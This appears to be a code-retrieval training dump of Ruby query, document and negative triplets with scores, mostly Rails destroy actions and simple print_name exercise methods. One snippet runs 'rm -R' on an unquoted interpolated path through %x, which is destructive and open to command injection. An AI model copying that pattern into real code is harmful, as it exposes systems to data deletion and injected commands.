respond_to do |format|
format.html { redirect_to data_errors_url }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def destroy\n @error = Error.find( params[:id] )\n @error.destroy\n \n respond_to do |format|\n format.html { redirect_to( errors_url ) }\n format.xml { head( :ok ) }\n end\n end",
"def destroy\n @error.destroy\n respond_to do |format|\n format.html { redirect_to errors_url, notice: 'Error was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @error.destroy\n respond_to do |format|\n format.html { redirect_to errors_url, notice: \"Error was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @common_error.destroy\n respond_to do |format|\n format.html { redirect_to common_errors_url, notice: 'Entrada catalogo borrada.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @thing_with_error = ThingWithError.find(params[:id])\n @thing_with_error.destroy\n\n respond_to do |format|\n format.html { redirect_to thing_with_errors_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @daw_log_error.destroy\n respond_to do |format|\n format.html { redirect_to daw_log_errors_url, notice: 'Daw log error was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @runs_error = RunsError.find(params[:id])\n @runs_error.destroy\n\n respond_to do |format|\n format.html { redirect_to runs_errors_url }\n format.json { head :no_content }\n end\n end",
"def delete_data\n response = WebPay.client.delete([path, 'data'].join('/'))\n response['deleted']\n end",
"def destroy\n #Finds selected data file\n @data_file = DataFile.find(params[:id])\n #destroys data file\n @data_file.destroy\n respond_to do |format|\n format.html { redirect_to '/admin' }\n format.json { head :ok }\n end\n end",
"def destroy\n @datafile.destroy\n respond_to do |format|\n format.html { redirect_to datafiles_url }\n format.json { head :no_content }\n end\n end",
"def test_delete_preconditions_failed\n request = Http::Request.new(\n 'DELETE',\n '/file1',\n 'If-Match' => \"\\\"#{Digest::MD5.hexdigest('bar')}\\\"\"\n )\n\n response = self.request(request)\n\n assert_equal(\n 412,\n response.status,\n \"Incorrect status code. Response body: #{response.body_as_string}\"\n )\n end",
"def destroy\n @import_error.destroy\n respond_to do |format|\n format.html { redirect_to import_errors_url, notice: \"Import error was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def test_delete_not_found\n request = Http::Request.new('DELETE', '/file2')\n response = self.request(request)\n\n assert_equal(\n 404,\n response.status,\n \"Incorrect status code. Response body: #{response.body_as_string}\"\n )\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @data_log.destroy\n respond_to do |format|\n format.html { redirect_to data_logs_url, notice: 'Data log was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @information_error = InformationError.find(params[:id])\n @information_error.destroy\n\n respond_to do |format|\n format.html { redirect_to information_errors_url }\n format.json { head :no_content }\n end\n end",
"def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @request_datum.destroy\n respond_to do |format|\n format.html { redirect_to request_data_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dataset_datum.destroy\n respond_to do |format|\n format.html { redirect_to dataset_data_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wrong_data_asset.destroy\n respond_to do |format|\n format.html { redirect_to wrong_data_assets_url, notice: 'Wrong data asset was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend",
"def destroy\n @site_error.destroy\n respond_to do |format|\n format.html { redirect_to site_errors_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datafile.destroy\n respond_to do |format|\n format.html { redirect_to datafiles_url, notice: 'Datafile was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @error_report.destroy\n respond_to do |format|\n format.html { redirect_to error_reports_url, notice: 'Error report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def cfa_delete\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in cfa titles cfa_delete method\"\n begin\n id=params[\"format\"] \n cfa=RestClient.delete $api_service+'/cfa_titles/'+id\n rescue =>e\n Rails.logger.custom_log.error { \"#{e} Cfa controller delete method\" }\n end\n redirect_to action: \"index\"\n end",
"def destroy\n @extractor_error.destroy\n respond_to do |format|\n format.html { redirect_to extractor_errors_url, notice: \"Extractor error was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @spree_error_log = Spree::ErrorLog.find(params[:id])\n @spree_error_log.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_error_logs_path }\n format.json { head :no_content }\n end\n end",
"def delete(key)\n\n # FIXME: insert code that connects to the backend and affects the delete\n # operation\n #\n # - This delete should be done atomically\n # - Convert any exceptions into a failed status result with a meaningful\n # error message.\n #\n\n { :result => false, :err_msg => 'FIXME: not implemented' }\n end",
"def destroy\n @datum.destroy\n respond_to do |format|\n format.html { redirect_to data_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datasource.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def incident_delete(statuspage_id, incident_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n\n request :method => :post,\n :url => @url + 'incident/delete',\n :payload => data\n end",
"def testDelete1()\n key = \"_Delete1\"\n c = Scalaris::JSONConnection.new(url = Scalaris::DEFAULT_URL)\n rdht = Scalaris::ReplicatedDHT.new(conn = c)\n sc = Scalaris::TransactionSingleOp.new(conn = c)\n\n (0..($_TEST_DATA.length - 1)).each do |i|\n sc.write(@testTime.to_s + key + i.to_s, $_TEST_DATA[i])\n end\n \n # now try to delete the data:\n (0..($_TEST_DATA.length - 1)).each do |i|\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(4, ok)\n results = rdht.get_last_delete_result()\n assert_equal(4, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(0, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n \n # try again (should be successful with 0 deletes)\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(0, ok)\n results = rdht.get_last_delete_result()\n assert_equal(0, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(4, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n end\n \n c.close()\n end",
"def destroy\n @dataload_email = DataloadEmail.find(params[:id])\n @dataload_email.destroy\n\n respond_to do |format|\n format.html { redirect_to dataload_emails_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @error_type = ErrorType.find(params[:id])\n @error_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(error_types_url) }\n format.xml { head :ok }\n end\n end",
"def test_delete1()\n key = \"_Delete1\"\n c = Scalaroid::JSONConnection.new(url = Scalaroid::DEFAULT_URL)\n rdht = Scalaroid::ReplicatedDHT.new(conn = c)\n sc = Scalaroid::TransactionSingleOp.new(conn = c)\n\n (0..($_TEST_DATA.length - 1)).each do |i|\n sc.write(@testTime.to_s + key + i.to_s, $_TEST_DATA[i])\n end\n\n # now try to delete the data:\n (0..($_TEST_DATA.length - 1)).each do |i|\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(4, ok)\n results = rdht.get_last_delete_result()\n assert_equal(4, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(0, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n\n # try again (should be successful with 0 deletes)\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(0, ok)\n results = rdht.get_last_delete_result()\n assert_equal(0, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(4, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n end\n\n c.close()\n end",
"def delete\n supprimer = SondageService.instance.supprimerSondage(params[:id])\n (supprimer) ? (render json: true, status: :ok) : (render json: false, status: :not_found)\nend",
"def destroy\n #FIXME: Double check auth is working for deletion. Also, maybe should only delete if not associated with any experiments.\n @data_file.destroy\n \n respond_to do |format|\n format.html { redirect_to(data_files_path) }\n format.xml { head :ok }\n end\n end",
"def test_valid_delete_returns_204\n db = DB.get\n\n valid_entry = SEED_ENTRIES.first\n insert_entry(db, valid_entry)\n\n assert_equal 1, db.execute('select * from entries').count\n\n delete \"/api/entries/#{valid_entry[:slug]}\"\n assert last_response.no_content?\n\n assert_equal 0, db.execute('select * from entries').count\n end",
"def test_delete_post\n expected = 200\n post_id = 1\n uri = URI.parse('http://localhost:3000/v1/posts/'+post_id.to_s)\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Delete.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def destroy\n @data_ref2.destroy\n respond_to do |format|\n format.html { redirect_to data_ref2s_url, notice: 'Data ref2 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_data(path, &block)\n url = \"#{host}/api/v#{version}/#{path}\"\n params = Jbuilder.encode(&block) if block_given?\n params ||= {}\n resource = RestClient::Resource.new(\n url, \n headers: {\n \"uid\" => @uid,\n \"client\" => @client,\n \"access-token\" => @access_token\n }\n )\n resource.delete(params) do |response, request, result, &blk|\n case response.code\n when 200\n if response.blank?\n true\n else\n auth_data = {\n uid: response.headers[:uid],\n client: response.headers[:client],\n access_token: response.headers[:access_token]\n }\n JSON.parse(response).merge(auth_data)\n end\n when 404\n nil\n else\n JSON.parse(response)\n end\n end\n end",
"def destroy\n @erratum = Erratum.find(params[:id])\n @erratum.destroy\n\n respond_to do |format|\n format.html { redirect_to(errata_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dataset.destroy\n\n respond_to do |wants|\n wants.html { redirect_to(datasets_url) }\n wants.xml { head :ok }\n end\n end",
"def http_delete(opts={})\n ret=http_delete_low(opts)\n if ret.is_a?(Hash) and ret.has_key?('error') and ret['error']=='Invalid Credentials' then\n\tauthdefault\n\tret=http_delete_low(opts)\n\treturn ret\n else\n\treturn ret\n end\n end",
"def destroy\n @sub_data_table.destroy\n respond_to do |format|\n format.html { redirect_to sub_data_tables_url, notice: 'Sub data table was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @patient = Patient.find(params[:id])\n @patient.destroy\n\n if @patient.errors.size > 0 then\n respond_to do |format|\n # format.html { redirect_to Patients_url }\n # format.json { head :no_content }\n format.json { render json: @patient.errors, status: :unprocessable_entity }\n end\n else\n respond_to do |format|\n # format.html { redirect_to Patients_url }\n # format.json { head :no_content }\n format.json { head :no_content }\n end\n end\n end",
"def deleted_request\n r = {}\n render json: r,\n root: :data,\n status: :no_content\n end",
"def destroy\n @data_dashboard.destroy\n respond_to do |format|\n format.html { redirect_to data_dashboards_url, notice: 'Data dashboard was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(query)\n\n connect if @persevere.nil?\n\n deleted = 0\n\n if ! query.is_a?(DataMapper::Query)\n resources = [query].flatten\n else\n resources = read_many(query)\n end\n\n resources.each do |resource|\n tblname = resource.model.storage_name\n id = resource.attributes(:field)['id']\n \n # Retrieve the ID from persever if the resource doesn't have an ID field\n if id.nil?\n query = Persevere.enhance(resource.query)\n path = \"/#{tblname}/#{query.to_json_query_filter}[={'id':id}]\"\n response = @persevere.retrieve(path, {})\n id = JSON.parse(response.body)[0]['id'].match(/(\\w+\\/)*(\\d+)/)[2]\n end\n \n path = \"/#{tblname}/#{id}\"\n # path = \"/#{tblname}/#{resource.key.first}\"\n \n DataMapper.logger.debug(\"(Delete) PATH/QUERY: #{path}\")\n\n result = @persevere.delete(path)\n\n if result.code == \"204\" # ok\n deleted += 1\n end\n end\n return deleted\n end",
"def destroy\n @aiaioo_failure = AiaiooFailure.find(params[:id])\n @aiaioo_failure.destroy\n\n respond_to do |format|\n format.html { redirect_to aiaioo_failures_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to(datasets_url) }\n format.xml { head :ok }\n end\n end",
"def deleteRequest\n\n end",
"def delete(path)\n repository = path.split(/\\//)[2]\n objectid = path.split(/\\//)[3]\n if storage_fetch(repository, objectid) && storage_delete(repository, objectid)\n ['200', {}, []]\n else\n ['404', {}, [\"Repository #{repository} or ObjectID #{objectid} not found: #{path}\"]]\n end\n end",
"def destroy\n @datastore = Datastore.find(params[:id])\n @datastore.destroy\n\n respond_to do |format|\n format.html { redirect_to datastores_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @import_trial_log_datum.destroy\n respond_to do |format|\n format.html { redirect_to import_trial_log_data_url, notice: 'Import trial log datum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n streak, success = jsonapi_destroy.to_a\n\n if success\n render json: { meta: {} }\n else\n render_errors_for(streak)\n end\n end",
"def destroy\n @failure_report.destroy\n respond_to do |format|\n format.html { redirect_to failure_reports_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dataset.destroy\n respond_to do |format|\n format.html { redirect_to study_path(@dataset.study), notice: 'Dataset was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n contest = @data_set.contest\n @data_set.destroy\n respond_to do |format|\n format.html { redirect_to admin_contest_url(contest), notice: 'Data set was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dataunit.destroy\n respond_to do |format|\n format.html { redirect_to dataunits_url, notice: 'Dataunit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @databox.destroy\n render json: { post: @databox }\n# respond_to do |format|\n# format.html { redirect_to databoxes_url }\n# format.json { head :no_content }\n# end\n end",
"def destroy\n @datum = Datum.find(params[:id])\n verify_user(@datum.user.id)\n @datum.destroy\n\n respond_to do |format|\n format.html { redirect_to data_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @experiment_raw_dataset.destroy\n respond_to do |format|\n format.html { redirect_to experiment_raw_datasets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fail.destroy\n respond_to do |format|\n format.html { redirect_to fails_url, notice: 'Fail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datum = Datum.find(params[:id])\n @datum.destroy\n\n respond_to do |format|\n format.html { redirect_to data_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datum = Datum.find(params[:id])\n @datum.destroy\n\n respond_to do |format|\n format.html { redirect_to data_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n#status_url(Status.find_by_survey_id(protocol.access_code)\n #@p = ResponseSet.where(:user_id => current_user)\n #@protocol = user_id.find_by_survey_id(protocol.access_code)\n #@p = ResponseSet.where(:question_id => @title_questions).first.string_value\n p= ResponseSet.where(:access_code => params[:id])\n p.first.destroy\n \n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @throw_head2.destroy\n respond_to do |format|\n format.html { redirect_back(fallback_location: root_path, notice: 'Eliminado exitosamente' ) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @claim_validation_exception = ClaimValidationException.find(params[:id])\n @claim_validation_exception.destroy\n\n respond_to do |format|\n format.html { redirect_to claim_validation_exceptions_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @data_entry.destroy\n respond_to do |format|\n format.html { redirect_to data_entries_url, notice: 'Data entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_meta_datum.destroy\n respond_to do |format|\n format.html { redirect_to test_meta_data_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dataload_ga = DataloadGa.find(params[:id])\n @dataload_ga.destroy\n\n respond_to do |format|\n format.html { redirect_to dataload_gas_url }\n format.json { head :no_content }\n end\n end",
"def delete(path, data = {})\n self.class.delete path, :body => data.merge(:u => access_token)\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @violation.destroy\n respond_to do |format|\n format.html { redirect_to violations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @database = Database.find(params[:id])\n path = @database.path\n delete = %x[rm -R #{path}]\n @database.destroy\n\n respond_to do |format|\n format.html { redirect_to databases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def deleteDataId(data_of, id)\n url_data = stringGetUrlPath(data_of)\n url_request = \"#{url_data}/#{id}\"\n puts \">>>>>> delete #{data_of} with id:#{id}\"\n deleteData(url_request)\n end",
"def delete\n supprimer = QuestionOuverteService.instance.supprimerQuestion(params[:id])\n (supprimer) ? (render json: true, status: :ok) : (render json: false, status: :not_found)\n end",
"def destroy\n if @v1_question.destroy\n render json: {'message': 'Deleted question successfully'}, status: :ok\n else\n render json: get_errors, status: :unprocessable_entity\n end\n\n end",
"def destroy\n @grep_multi.destroy\n respond_to do |format|\n format.html { redirect_to grep_multis_url, notice: 'Grep multi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n Iterable.request(conf, base_path).delete\n end",
"def destroy\n @error_log = ErrorLog.find(params[:id])\n @error_log.destroy\n\n respond_to do |format|\n format.html { redirect_to(error_logs_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end",
"def http_delete(path, data = nil, content_type = 'application/json')\n http_methods(path, :delete, data, content_type)\n end",
"def destroy\n @data_item.destroy\n respond_to do |format|\n format.html { redirect_to data_items_url, notice: 'Data item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datapoint.destroy\n respond_to do |format|\n format.html { redirect_to datapoints_url }\n format.json { head :no_content }\n end\n end",
"def api_delete(action, data)\n api_request(action, data, 'DELETE')\n end",
"def destroy\n @tmpdatabasae.destroy\n respond_to do |format|\n format.html { redirect_to tmpdatabasaes_url, notice: 'Tmpdatabasae was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] | [
"0.67463934",
"0.6510026",
"0.6480202",
"0.6457014",
"0.6455552",
"0.6445516",
"0.637112",
"0.636466",
"0.6351702",
"0.634401",
"0.63259536",
"0.62997055",
"0.6286317",
"0.62835205",
"0.6273738",
"0.62508035",
"0.62366986",
"0.62332475",
"0.6233235",
"0.6230106",
"0.6218038",
"0.6212149",
"0.6203937",
"0.61849964",
"0.6175374",
"0.6168148",
"0.6166281",
"0.61570907",
"0.61422706",
"0.6140784",
"0.61345726",
"0.6116866",
"0.61158085",
"0.60992336",
"0.6081143",
"0.6069964",
"0.60694164",
"0.60675603",
"0.6056039",
"0.6053967",
"0.60420966",
"0.6036226",
"0.6033272",
"0.60292107",
"0.60196507",
"0.6011576",
"0.5991799",
"0.5976338",
"0.5973105",
"0.59698033",
"0.596939",
"0.59688604",
"0.59658235",
"0.5958976",
"0.59571415",
"0.5956874",
"0.5952843",
"0.59492284",
"0.59466136",
"0.59436625",
"0.5939083",
"0.5937465",
"0.5936875",
"0.59359664",
"0.5935727",
"0.5933188",
"0.59300804",
"0.59264815",
"0.5926453",
"0.5920427",
"0.5912407",
"0.5912407",
"0.5911488",
"0.5910754",
"0.5910754",
"0.5910754",
"0.5910754",
"0.59106386",
"0.5906976",
"0.59061956",
"0.59033936",
"0.59016263",
"0.5898673",
"0.58965415",
"0.58949697",
"0.5890324",
"0.58864367",
"0.58864367",
"0.588628",
"0.58858424",
"0.58854496",
"0.58832526",
"0.58817285",
"0.58809626",
"0.58797926",
"0.5878367",
"0.5878073",
"0.5876938",
"0.58764446",
"0.5870245"
] | 0.7396915 | 0 |
the desired result. To check your work, run this file by entering the following command in your terminal: `ruby section2/exercises/methods.rb` Example: Write a method that when called will print your name: | def print_name
p "Severus Snape"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def print_name\n puts \"Will Meighan\"\nend",
"def print_name(name)\nputs \"Name: #{name}\"\nend",
"def print_name\n p \"Alexander Mathieu\"\nend",
"def print_name\r\nputs \"Person called #{@name}\"\r\nend",
"def print_name\n puts \"Person called #{@name}\" \n end",
"def print_name\n p \"Chris\"\nend",
"def print_name(name)\n p \"#{name}\"\nend",
"def print_name(name)\n p \"#{name}\"\nend",
"def print_name(name)\n p \"#{name}\"\nend",
"def print_name(name)\n p \"#{name}\"\nend",
"def print_name(name)\n p \"#{name}\"\nend",
"def print_name(name)\n p \"#{name} is my name.\"\nend",
"def print_name()\n puts \"Sidarth Bagawandoss\"\nend",
"def print_name(name)\n puts \"#{name}\"\nend",
"def print_name(name)\n puts \"#{name}\"\nend",
"def print_name(name)\n puts \"#{name}\"\nend",
"def print_name\n puts \"Person called #{@name}\"\n end",
"def print_name\n puts \"Bailey Diveley\"\nend",
"def print_name(name)\n puts (name) # YOUR CODE HERE\nend",
"def print_name\n p \"Jennica\"\nend",
"def print_name(name)\n puts \"My name is #{name}\"\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n p \"Name: #{name}\"\nend",
"def print_name(name)\n puts \"Hello #{name}.\"\nend",
"def print_it(name)\n puts \"#{name}\"# YOUR CODE HERE\nend",
"def print_name(name)\n # YOUR CODE HERE\n p name\nend",
"def print_name(name)\n # YOUR CODE HERE\n p name\nend",
"def print_name(name)\n p \"Hello #{name}.\"# YOUR CODE HERE\nend",
"def print_name\n puts \"Joshua Sherwood\"\nend",
"def print_name()\n p \"Severus Snape\"\nend",
"def print_name(name)\n puts \"My name is #{name}.\"\nend",
"def print_name(name)\n puts \"My name is #{name}.\"\nend",
"def print_name(name)\n puts name# YOUR CODE HERE\nend",
"def print_name\n p \"Elliott Stein\"\nend",
"def print_name\n p \"Joshua Tukman\"\nend",
"def print_name(name)\n puts \"my name is #{name}.\"\nend",
"def say_name\n puts \"#{name}\"\n end",
"def print_name(name)\n puts \"This is #{name}\"\nend",
"def print_name\n puts \"Severus Snape\"\nend",
"def say_my_name(name) # created method called \"say_my_name\" that takes an\n # arguement called name. Arguements allow you to pass data into methods. Methods can accept multiple arguements which can simply be seperated by commas.\n\n puts name # prints name\n\nend",
"def print_name\n puts \"Person called #{@name}\"\n end",
"def print_name(name)\n p \"Albus Dumbledore\"\nend",
"def print_name(name)\n puts \"Look there! It's #{name}!\"\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n puts \"Albus Dumbledore\"\nend",
"def print_name(arg1)\n # YOUR CODE HERE\n puts \"arg1: #{arg1}\"\nend",
"def print_name(name)\n p \"Your name is #{name}\"\nend",
"def print_name\n puts \"Name: #{@name}\"\n end",
"def print_name\n p \"Dee\"\nend",
"def print_name(name)\n p \"My name is #{name}\"\nend",
"def print_name\n puts ('Rob')\nend",
"def print()\n puts ( fullName() )\n fullName()\n end",
"def print_name\n print \"Person called #{@name}\"\n end"
] | [
"0.7979761",
"0.7958294",
"0.7927161",
"0.79203486",
"0.7858779",
"0.7855223",
"0.78342193",
"0.78342193",
"0.78342193",
"0.78342193",
"0.78342193",
"0.7804715",
"0.7804678",
"0.7802342",
"0.7802342",
"0.7802342",
"0.77956045",
"0.77936745",
"0.7787729",
"0.7785286",
"0.7785096",
"0.77819145",
"0.77819145",
"0.77819145",
"0.77819145",
"0.77819145",
"0.77819145",
"0.77819145",
"0.77819145",
"0.77819145",
"0.77819145",
"0.77819145",
"0.77819145",
"0.77819145",
"0.77819145",
"0.77819145",
"0.77819145",
"0.77819145",
"0.77819145",
"0.77819145",
"0.77819145",
"0.7754208",
"0.77523947",
"0.77518564",
"0.7746977",
"0.7746977",
"0.7740958",
"0.77391624",
"0.7739051",
"0.77368563",
"0.77368563",
"0.7728995",
"0.7726563",
"0.77237487",
"0.7723642",
"0.7720377",
"0.77116007",
"0.7688128",
"0.7677225",
"0.76607555",
"0.7634056",
"0.76185143",
"0.7604055",
"0.7604055",
"0.7604055",
"0.7604055",
"0.7604055",
"0.7604055",
"0.7604055",
"0.7604055",
"0.7604055",
"0.7604055",
"0.7604055",
"0.7604055",
"0.7604055",
"0.7604055",
"0.7604055",
"0.7604055",
"0.7604055",
"0.7604055",
"0.75933135",
"0.7584764",
"0.75843513",
"0.7554332",
"0.7553572",
"0.75423294",
"0.7537403",
"0.7529167",
"0.75127363"
] | 0.0 | -1 |
Write a method that takes a name as an argument and prints it: | def print_name(name)
puts name
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def print_name(name)\n puts \"#{name}\"\nend",
"def print_name(name)\n puts \"#{name}\"\nend",
"def print_name(name)\n puts \"#{name}\"\nend",
"def print_name(name)\n p \"#{name}\"\nend",
"def print_name(name)\n p \"#{name}\"\nend",
"def print_name(name)\n p \"#{name}\"\nend",
"def print_name(name)\n p \"#{name}\"\nend",
"def print_name(name)\n p \"#{name}\"\nend",
"def print_name(name)\nputs \"Name: #{name}\"\nend",
"def print_name(name)\n puts \"Look there! It's #{name}!\"\nend",
"def print_name(name)\n puts \"Hello #{name}.\"\nend",
"def print_name(name)\n puts \"This is #{name}\"\nend",
"def print_name(name)\n p \"Name: #{name}\"\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n p name\nend",
"def print_name(name)\n puts \"my name is #{name}.\"\nend",
"def print_name(name)\n puts \"My name is #{name}.\"\nend",
"def print_name(name)\n puts \"My name is #{name}.\"\nend",
"def print_name(name)\n puts \"My name is #{name}\"\nend",
"def print_name(name)\n puts (name) # YOUR CODE HERE\nend",
"def print_name(name)\n # YOUR CODE HERE\n p name\nend",
"def print_name(name)\n # YOUR CODE HERE\n p name\nend",
"def print_name(name)\n p \"#{name} is my name.\"\nend",
"def print_it(name)\n puts \"#{name}\"# YOUR CODE HERE\nend",
"def print_name(name)\n puts name# YOUR CODE HERE\nend",
"def print_name(name)\n puts \"Albus Dumbledore\"\nend",
"def print_name(arg1)\n puts \"#{arg1}\"\nend",
"def print_name(name)\n p \"Albus Dumbledore\"\nend",
"def print_name(name)\n puts ('Rob')\nend",
"def print_name(name)\n p \"My name is #{name}\"\nend",
